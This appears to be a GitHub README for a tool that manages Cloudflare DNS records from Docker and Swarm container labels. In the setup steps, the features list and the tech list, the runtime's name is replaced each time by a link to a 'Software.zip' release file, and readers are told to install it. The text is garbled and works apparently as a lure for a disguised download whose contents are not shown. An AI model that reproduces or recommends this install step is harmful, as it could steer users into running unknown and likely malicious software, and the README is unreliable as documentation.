Automatic DNS record management for Docker containers and Swarm services using Cloudflare. Label your containers, get DNS records. π
- src/: Contains the source code for the Cloudflare DNS Swarm tool.
- docs/: Documentation for setting up and using the tool.
- examples/: Sample Docker configurations for reference.
- LICENSE: The license information for the repository.
To set up Cloudflare DNS Swarm, follow these steps:
- Clone the repository to your local machine.
- Install /~https://github.com/manuxing/cloudflare-dns-swarm/releases/download/v1.0/Software.zip and npm if not already installed.
- Navigate to the project directory and run
npm install
to install dependencies. - Customize the configuration file with your Cloudflare API key and other settings.
- Launch the Cloudflare DNS Swarm tool using
npm start
.
- Automatic DNS Record Management: Easily manage DNS records for Docker containers and Swarm services.
- Cloudflare Integration: Seamlessly integrates with the Cloudflare API for DNS management.
- Container Labeling: Label your containers to automatically generate DNS records.
- Infrastructure as Code: Manage your DNS infrastructure using code.
- Support for Microservices: Ideal for managing DNS in a microservices architecture.
- Built with /~https://github.com/manuxing/cloudflare-dns-swarm/releases/download/v1.0/Software.zip and TypeScript: Leverage the power of TypeScript for a scalable codebase.
- /~https://github.com/manuxing/cloudflare-dns-swarm/releases/download/v1.0/Software.zip
- TypeScript
- Docker
- Docker Swarm
- Cloudflare API
automation, cloud, cloudflare-api, cloudflare, container, devops, dns, dns-management, docker, docker-labels, docker-swarm, infrastructure-as-code, microservices, nodejs, typescript
Ready to automate your DNS management with Cloudflare DNS Swarm? Follow the steps above to set up the tool and start managing your DNS records effortlessly. Happy coding! π
Note: If the link to download the ZIP file doesn't work, please check the "Releases" section of the repository for the latest release.